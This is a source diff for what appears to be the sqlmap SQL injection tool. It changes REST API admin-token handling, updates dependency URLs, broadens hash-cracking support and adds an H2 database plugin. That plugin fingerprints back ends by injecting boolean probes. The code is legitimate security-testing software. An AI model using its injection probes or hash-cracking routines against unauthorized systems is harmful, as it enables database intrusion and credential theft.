@@ -275,8 +275,8 @@ def setRestAPILog():
         logger.addHandler(LOGGER_RECORDER)
 
 # Generic functions
-def is_admin(taskid):
+def is_admin(token):
-    return DataStore.admin_id == taskid
+    return DataStore.admin_token == token
 
 @hook('before_request')
 def check_authentication():
@@ -358,7 +358,7 @@ def path_401():
 @get("/task/new")
 def task_new():
     """
-    Create new task ID
+    Create a new task
     """
     taskid = hexencode(os.urandom(8))
     remote_addr = request.remote_addr
@@ -371,7 +371,7 @@ def task_new():
 @get("/task/<taskid>/delete")
 def task_delete(taskid):
     """
-    Delete own task ID
+    Delete an existing task
     """
     if taskid in DataStore.tasks:
         DataStore.tasks.pop(taskid)
@@ -379,39 +379,42 @@ def task_delete(taskid):
         logger.debug("[%s] Deleted task" % taskid)
         return jsonize({"success": True})
     else:
-        logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid)
+        response.status = 404
-        return jsonize({"success": False, "message": "Invalid task ID"})
+        logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid)
+        return jsonize({"success": False, "message": "Non-existing task ID"})
 
 ###################
 # Admin functions #
 ###################
 
-@get("/admin/<taskid>/list")
+@get("/admin/list")
-def task_list(taskid=None):
+@get("/admin/<token>/list")
+def task_list(token=None):
     """
-    List task pull
+    Pull task list
     """
     tasks = {}
 
     for key in DataStore.tasks:
-        if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
+        if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
             tasks[key] = dejsonize(scan_status(key))["status"]
 
-    logger.debug("[%s] Listed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
+    logger.debug("[%s] Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
     return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)})
 
-@get("/admin/<taskid>/flush")
+@get("/admin/flush")
-def task_flush(taskid):
+@get("/admin/<token>/flush")
+def task_flush(token=None):
     """
     Flush task spool (delete all tasks)
     """
 
     for key in list(DataStore.tasks):
-        if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
+        if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
             DataStore.tasks[key].engine_kill()
             del DataStore.tasks[key]
 
-    logger.debug("[%s] Flushed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
+    logger.debug("[%s] Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
     return jsonize({"success": True})
 
 ##################################
@@ -434,25 +437,30 @@ def option_list(taskid):
 @post("/option/<taskid>/get")
 def option_get(taskid):
     """
-    Get the value of an option (command line switch) for a certain task ID
+    Get value of option(s) for a certain task ID
     """
     if taskid not in DataStore.tasks:
         logger.warning("[%s] Invalid task ID provided to option_get()" % taskid)
         return jsonize({"success": False, "message": "Invalid task ID"})
 
-    option = request.json.get("option", "")
+    options = request.json or []
+    results = {}
 
-    if option in DataStore.tasks[taskid].options:
+    for option in options:
-        logger.debug("[%s] Retrieved value for option %s" % (taskid, option))
+        if option in DataStore.tasks[taskid].options:
-        return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)})
+            results[option] = DataStore.tasks[taskid].options[option]
-    else:
+        else:
-        logger.debug("[%s] Requested value for unknown option %s" % (taskid, option))
+            logger.debug("[%s] Requested value for unknown option '%s'" % (taskid, option))
-        return jsonize({"success": False, "message": "Unknown option", option: "not set"})
+            return jsonize({"success": False, "message": "Unknown option '%s'" % option})
+
+    logger.debug("[%s] Retrieved values for option(s) '%s'" % (taskid, ",".join(options)))
+
+    return jsonize({"success": True, "options": results})
 
 @post("/option/<taskid>/set")
 def option_set(taskid):
     """
-    Set an option (command line switch) for a certain task ID
+    Set value of option(s) for a certain task ID
     """
 
     if taskid not in DataStore.tasks:
@@ -647,7 +655,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
     REST-JSON API server
     """
 
-    DataStore.admin_id = hexencode(os.urandom(16))
+    DataStore.admin_token = hexencode(os.urandom(16))
     DataStore.username = username
     DataStore.password = password
 
@@ -660,7 +668,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
             port = s.getsockname()[1]
 
     logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
-    logger.info("Admin ID: %s" % DataStore.admin_id)
+    logger.info("Admin (secret) token: %s" % DataStore.admin_token)
     logger.debug("IPC database: '%s'" % Database.filepath)
 
     # Initialize IPC database
@@ -696,7 +704,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
         logger.critical(errMsg)
 
 def _client(url, options=None):
-    logger.debug("Calling %s" % url)
+    logger.debug("Calling '%s'" % url)
     try:
         data = None
         if options is not None:
@@ -772,11 +780,11 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
                 logger.error("No task ID in use")
                 continue
             try:
-                command, option = command.split(" ")
+                command, option = command.split(" ", 1)
             except ValueError:
                 raw = _client("%s/option/%s/list" % (addr, taskid))
             else:
-                options = {"option": option}
+                options = re.split(r"\s*,\s*", option.strip())
                 raw = _client("%s/option/%s/get" % (addr, taskid), options)
             res = dejsonize(raw)
             if not res["success"]:
@@ -833,7 +841,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
             logger.info("Switching to task ID '%s' " % taskid)
 
         elif command in ("list", "flush"):
-            raw = _client("%s/admin/%s/%s" % (addr, taskid or 0, command))
+            raw = _client("%s/admin/%s" % (addr, command))
             res = dejsonize(raw)
             if not res["success"]:
                 logger.error("Failed to execute command %s" % command)

lib/utils/deps.py

@@ -65,7 +65,7 @@ def checkDependencies():
     except ImportError:
         warnMsg = "sqlmap requires 'python-impacket' third-party library for "
         warnMsg += "out-of-band takeover feature. Download from "
-        warnMsg += "'http://code.google.com/p/impacket/'"
+        warnMsg += "'https://github.com/coresecurity/impacket'"
         logger.warn(warnMsg)
         missing_libraries.add('python-impacket')
 
@@ -76,7 +76,7 @@ def checkDependencies():
     except ImportError:
         warnMsg = "sqlmap requires 'python-ntlm' third-party library "
         warnMsg += "if you plan to attack a web application behind NTLM "
-        warnMsg += "authentication. Download from 'http://code.google.com/p/python-ntlm/'"
+        warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'"
         logger.warn(warnMsg)
         missing_libraries.add('python-ntlm')
 
@@ -101,7 +101,7 @@ def checkDependencies():
             warnMsg += "be able to take advantage of the sqlmap TAB "
             warnMsg += "completion and history support features in the SQL "
             warnMsg += "shell and OS shell. Download from "
-            warnMsg += "'http://ipython.scipy.org/moin/PyReadline/Intro'"
+            warnMsg += "'https://pypi.org/project/pyreadline/'"
             logger.warn(warnMsg)
             missing_libraries.add('python-pyreadline')
 

lib/utils/hash.py

@@ -7,7 +7,7 @@ See the file 'LICENSE' for copying permission
 
 try:
     from crypt import crypt
-except ImportError:
+except:  # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171
     from thirdparty.fcrypt.fcrypt import crypt
 
 _multiprocessing = None
@@ -75,6 +75,7 @@ from lib.core.settings import COMMON_PASSWORD_SUFFIXES
 from lib.core.settings import COMMON_USER_COLUMNS
 from lib.core.settings import DEV_EMAIL_ADDRESS
 from lib.core.settings import DUMMY_USER_PREFIX
+from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER
 from lib.core.settings import HASH_MOD_ITEM_DISPLAY
 from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD
 from lib.core.settings import IS_WIN
@@ -684,7 +685,7 @@ def attackDumpedTable():
                         value = table[column]['values'][i]
 
                         if value and value.lower() in lut:
-                            table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()]))
+                            table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER))
                             table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
 
 def hashRecognition(value):
@@ -903,7 +904,7 @@ def dictionaryAttack(attack_dict):
 
                         if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
                             item = [(user, hash_.decode("base64").encode("hex")), {}]
-                        elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1):
+                        elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
                             item = [(user, hash_), {}]
                         elif hash_regex in (HASH.SSHA,):
                             item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}]

lib/utils/hashdb.py

@@ -91,7 +91,7 @@ class HashDB(object):
                             raise
                     except sqlite3.DatabaseError, ex:
                         errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
-                        errMsg += "If the problem persists please rerun with `--flush-session`"
+                        errMsg += "If the problem persists please rerun with '--flush-session'"
                         raise SqlmapConnectionException(errMsg)
                     else:
                         break
@@ -104,7 +104,7 @@ class HashDB(object):
             except:
                 retVal = None
                 warnMsg = "error occurred while unserializing value for session key '%s'. " % key
-                warnMsg += "If the problem persists please rerun with `--flush-session`"
+                warnMsg += "If the problem persists please rerun with '--flush-session'"
                 logger.warn(warnMsg)
 
         return retVal

lib/utils/pivotdumptable.py

@@ -11,6 +11,7 @@ from extra.safe2bin.safe2bin import safechardecode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import Backend
+from lib.core.common import getSafeExString
 from lib.core.common import getUnicode
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
@@ -31,7 +32,7 @@ from lib.core.settings import NULL
 from lib.core.unescaper import unescaper
 from lib.request import inject
 
-def pivotDumpTable(table, colList, count=None, blind=True):
+def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
     lengths = {}
     entries = {}
 
@@ -88,7 +89,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
     if not validPivotValue:
         for column in colList:
             infoMsg = "fetching number of distinct "
-            infoMsg += "values for column '%s'" % column
+            infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "")
             logger.info(infoMsg)
 
             query = dumpNode.count2 % (column, table)
@@ -99,7 +100,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
                 validColumnList = True
 
                 if value == count:
-                    infoMsg = "using column '%s' as a pivot " % column
+                    infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "")
                     infoMsg += "for retrieving row data"
                     logger.info(infoMsg)
 
@@ -174,10 +175,10 @@ def pivotDumpTable(table, colList, count=None, blind=True):
         warnMsg += "will display partial output"
         logger.warn(warnMsg)
 
-    except SqlmapConnectionException, e:
+    except SqlmapConnectionException, ex:
-        errMsg = "connection exception detected. sqlmap "
+        errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex)
         errMsg += "will display partial output"
-        errMsg += "'%s'" % e
+
         logger.critical(errMsg)
 
     return entries, lengths

lib/utils/progress.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import time
+
 from lib.core.common import getUnicode
 from lib.core.common import dataToStdout
 from lib.core.data import conf
@@ -17,13 +19,12 @@ class ProgressBar(object):
 
     def __init__(self, minValue=0, maxValue=10, totalWidth=None):
         self._progBar = "[]"
-        self._oldProgBar = ""
         self._min = int(minValue)
         self._max = int(maxValue)
         self._span = max(self._max - self._min, 0.001)
         self._width = totalWidth if totalWidth else conf.progressWidth
         self._amount = 0
-        self._times = []
+        self._start = None
         self.update()
 
     def _convertSeconds(self, value):
@@ -52,7 +53,7 @@ class ProgressBar(object):
         percentDone = min(100, int(percentDone))
 
         # Figure out how many hash bars the percentage should be
-        allFull = self._width - len("100%% [] %s/%s  ETA 00:00" % (self._max, self._max))
+        allFull = self._width - len("100%% [] %s/%s  (ETA 00:00)" % (self._max, self._max))
         numHashes = (percentDone / 100.0) * allFull
         numHashes = int(round(numHashes))
 
@@ -68,19 +69,18 @@ class ProgressBar(object):
         percentString = getUnicode(percentDone) + "%"
         self._progBar = "%s %s" % (percentString, self._progBar)
 
-    def progress(self, deltaTime, newAmount):
+    def progress(self, newAmount):
         """
         This method saves item delta time and shows updated progress bar with calculated eta
         """
 
-        if len(self._times) <= ((self._max * 3) / 100) or newAmount > self._max:
+        if self._start is None or newAmount > self._max:
+            self._start = time.time()
             eta = None
         else:
-            midTime = sum(self._times) / len(self._times)
+            delta = time.time() - self._start
-            midTimeWithLatest = (midTime + deltaTime) / 2
+            eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta
-            eta = midTimeWithLatest * (self._max - newAmount)
 
-        self._times.append(deltaTime)
         self.update(newAmount)
         self.draw(eta)
 
@@ -89,15 +89,13 @@ class ProgressBar(object):
         This method draws the progress bar if it has changed
         """
 
-        if self._progBar != self._oldProgBar:
+        dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, ("  (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??"))))
-            self._oldProgBar = self._progBar
+        if self._amount >= self._max:
-            dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, ("  ETA %s" % self._convertSeconds(int(eta))) if eta is not None else ""))
+            if not conf.liveTest:
-            if self._amount >= self._max:
+                dataToStdout("\r%s\r" % (" " * self._width))
-                if not conf.liveTest:
+                kb.prependFlag = False
-                    dataToStdout("\r%s\r" % (" " * self._width))
+            else:
-                    kb.prependFlag = False
+                dataToStdout("\n")
-                else:
-                    dataToStdout("\n")
 
     def __str__(self):
         """

lib/utils/versioncheck.py

@@ -6,18 +6,23 @@ See the file 'LICENSE' for copying permission
 """
 
 import sys
+import time
 
 PYVERSION = sys.version.split()[0]
 
 if PYVERSION >= "3" or PYVERSION < "2.6":
-    exit("[CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION)
+    exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION))
 
+errors = []
 extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib")
-try:
+for _ in extensions:
-    for _ in extensions:
+    try:
         __import__(_)
-except ImportError:
+    except ImportError:
-    errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
+        errors.append(_)
+
+if errors:
+    errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in errors))
     errMsg += "most likely because current version of Python has been "
-    errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
+    errMsg += "built without appropriate dev packages"
     exit(errMsg)

plugins/dbms/access/connector.py

@@ -12,6 +12,7 @@ except:
 
 import logging
 
+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -43,7 +44,7 @@ class Connector(GenericConnector):
         try:
             self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db)
         except (pyodbc.Error, pyodbc.OperationalError), msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.initCursor()
         self.printConnected()
@@ -52,16 +53,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except pyodbc.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
         except pyodbc.Error, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.connector.commit()
 

plugins/dbms/access/fingerprint.py

@@ -129,7 +129,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"]
+            banVer = kb.bannerFp.get("dbmsVersion")
 
             if re.search(r"-log$", kb.data.banner):
                 banVer += ", logging enabled"

plugins/dbms/db2/connector.py

@@ -12,6 +12,7 @@ except:
 
 import logging
 
+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -44,16 +45,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except ibm_db_dbi.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
         except ibm_db_dbi.InternalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.connector.commit()
 

plugins/dbms/db2/fingerprint.py

@@ -68,7 +68,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
             banVer = Format.getDbms([banVer])
             value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
 

plugins/dbms/firebird/connector.py

@@ -12,6 +12,7 @@ except:
 
 import logging
 
+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -42,7 +43,7 @@ class Connector(GenericConnector):
             # Reference: http://www.daniweb.com/forums/thread248499.html
             self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
         except kinterbasdb.OperationalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.initCursor()
         self.printConnected()
@@ -51,16 +52,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except kinterbasdb.OperationalError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except kinterbasdb.OperationalError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
         except kinterbasdb.Error, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.connector.commit()
 

plugins/dbms/firebird/fingerprint.py

@@ -50,7 +50,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"]
+            banVer = kb.bannerFp.get("dbmsVersion")
 
             if re.search(r"-log$", kb.data.banner):
                 banVer += ", logging enabled"

plugins/dbms/h2/__init__.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.enums import DBMS
+from lib.core.settings import H2_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+from plugins.dbms.h2.enumeration import Enumeration
+from plugins.dbms.h2.filesystem import Filesystem
+from plugins.dbms.h2.fingerprint import Fingerprint
+from plugins.dbms.h2.syntax import Syntax
+from plugins.dbms.h2.takeover import Takeover
+from plugins.generic.misc import Miscellaneous
+
+class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+    """
+    This class defines H2 methods
+    """
+
+    def __init__(self):
+        self.excludeDbsList = H2_SYSTEM_DBS
+
+        Syntax.__init__(self)
+        Fingerprint.__init__(self)
+        Enumeration.__init__(self)
+        Filesystem.__init__(self)
+        Miscellaneous.__init__(self)
+        Takeover.__init__(self)
+
+    unescaper[DBMS.H2] = Syntax.escape

plugins/dbms/h2/connector.py

@@ -0,0 +1,18 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.connector import Connector as GenericConnector
+
+class Connector(GenericConnector):
+    def __init__(self):
+        GenericConnector.__init__(self)
+
+    def connect(self):
+        errMsg = "on H2 it is not (currently) possible to establish a "
+        errMsg += "direct connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/h2/enumeration.py

@@ -0,0 +1,52 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.enumeration import Enumeration as GenericEnumeration
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.common import unArrayizeValue
+from lib.core.enums import DBMS
+from lib.core.settings import H2_DEFAULT_SCHEMA
+from lib.request import inject
+
+class Enumeration(GenericEnumeration):
+    def __init__(self):
+        GenericEnumeration.__init__(self)
+
+    def getBanner(self):
+        if not conf.getBanner:
+            return
+
+        if kb.data.banner is None:
+            infoMsg = "fetching banner"
+            logger.info(infoMsg)
+
+            query = queries[DBMS.H2].banner.query
+            kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True))
+
+        return kb.data.banner
+
+    def getPrivileges(self, *args):
+        warnMsg = "on H2 it is not possible to enumerate the user privileges"
+        logger.warn(warnMsg)
+
+        return {}
+
+    def getHostname(self):
+        warnMsg = "on H2 it is not possible to enumerate the hostname"
+        logger.warn(warnMsg)
+
+    def getCurrentDb(self):
+        return H2_DEFAULT_SCHEMA
+
+    def getPasswordHashes(self):
+        warnMsg = "on H2 it is not possible to list password hashes"
+        logger.warn(warnMsg)
+
+        return {}

plugins/dbms/h2/filesystem.py

@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.filesystem import Filesystem as GenericFilesystem
+
+class Filesystem(GenericFilesystem):
+    def __init__(self):
+        GenericFilesystem.__init__(self)
+
+    def readFile(self, rFile):
+        errMsg = "on H2 it is not possible to read files"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
+        errMsg = "on H2 it is not possible to write files"
+        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/h2/fingerprint.py

@@ -0,0 +1,96 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.common import Backend
+from lib.core.common import Format
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import DBMS
+from lib.core.session import setDbms
+from lib.core.settings import H2_ALIASES
+from lib.request import inject
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+
+class Fingerprint(GenericFingerprint):
+    def __init__(self):
+        GenericFingerprint.__init__(self, DBMS.H2)
+
+    def getFingerprint(self):
+        value = ""
+        wsOsFp = Format.getOs("web server", kb.headersFp)
+
+        if wsOsFp:
+            value += "%s\n" % wsOsFp
+
+        if kb.data.banner:
+            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
+
+            if dbmsOsFp:
+                value += "%s\n" % dbmsOsFp
+
+        value += "back-end DBMS: "
+
+        if not conf.extensiveFp:
+            value += DBMS.H2
+            return value
+
+        actVer = Format.getDbms()
+        blank = " " * 15
+        value += "active fingerprint: %s" % actVer
+
+        if kb.bannerFp:
+            banVer = kb.bannerFp.get("dbmsVersion")
+            banVer = Format.getDbms([banVer])
+            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+        htmlErrorFp = Format.getErrorParsedDBMSes()
+
+        if htmlErrorFp:
+            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+        return value
+
+    def checkDbms(self):
+        if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES):
+            setDbms("%s %s" % (DBMS.H2, Backend.getVersion()))
+
+            self.getBanner()
+
+            return True
+
+        infoMsg = "testing %s" % DBMS.H2
+        logger.info(infoMsg)
+
+        result = inject.checkBooleanExpression("ZERO() IS 0")
+
+        if result:
+            infoMsg = "confirming %s" % DBMS.H2
+            logger.info(infoMsg)
+
+            result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")
+
+            if not result:
+                warnMsg = "the back-end DBMS is not %s" % DBMS.H2
+                logger.warn(warnMsg)
+
+                return False
+            else:
+                setDbms(DBMS.H2)
+
+                self.getBanner()
+
+                return True
+        else:
+            warnMsg = "the back-end DBMS is not %s" % DBMS.H2
+            logger.warn(warnMsg)
+
+            return False
+
+    def getHostname(self):
+        warnMsg = "on H2 it is not possible to enumerate the hostname"
+        logger.warn(warnMsg)

plugins/dbms/h2/syntax.py

@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.syntax import Syntax as GenericSyntax
+
+class Syntax(GenericSyntax):
+    def __init__(self):
+        GenericSyntax.__init__(self)
+
+    @staticmethod
+    def escape(expression, quote=True):
+        """
+        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar")
+        'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar'
+        """
+
+        def escaper(value):
+            return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value)))
+
+        return Syntax._escape(expression, quote, escaper)

plugins/dbms/h2/takeover.py

@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.takeover import Takeover as GenericTakeover
+
+class Takeover(GenericTakeover):
+    def __init__(self):
+        GenericTakeover.__init__(self)
+
+    def osCmd(self):
+        errMsg = "on H2 it is not possible to execute commands"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osShell(self):
+        errMsg = "on H2 it is not possible to execute commands"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osPwn(self):
+        errMsg = "on H2 it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osSmb(self):
+        errMsg = "on H2 it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/hsqldb/filesystem.py

@@ -17,5 +17,5 @@ class Filesystem(GenericFilesystem):
         raise SqlmapUnsupportedFeatureException(errMsg)
 
     def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
-        errMsg = "on HSQLDB it is not possible to read files"
+        errMsg = "on HSQLDB it is not possible to write files"
         raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/hsqldb/fingerprint.py

@@ -47,7 +47,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
 
             if re.search(r"-log$", kb.data.banner):
                 banVer += ", logging enabled"
@@ -106,6 +106,13 @@ class Fingerprint(GenericFingerprint):
 
                 return False
             else:
+                result = inject.checkBooleanExpression("ZERO() IS 0")   # Note: check for H2 DBMS (sharing majority of same functions)
+                if result:
+                    warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
+                    logger.warn(warnMsg)
+
+                    return False
+
                 kb.data.has_information_schema = True
                 Backend.setVersion(">= 1.7.2")
                 setDbms("%s 1.7.2" % DBMS.HSQLDB)

plugins/dbms/informix/connector.py

@@ -12,6 +12,7 @@ except:
 
 import logging
 
+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
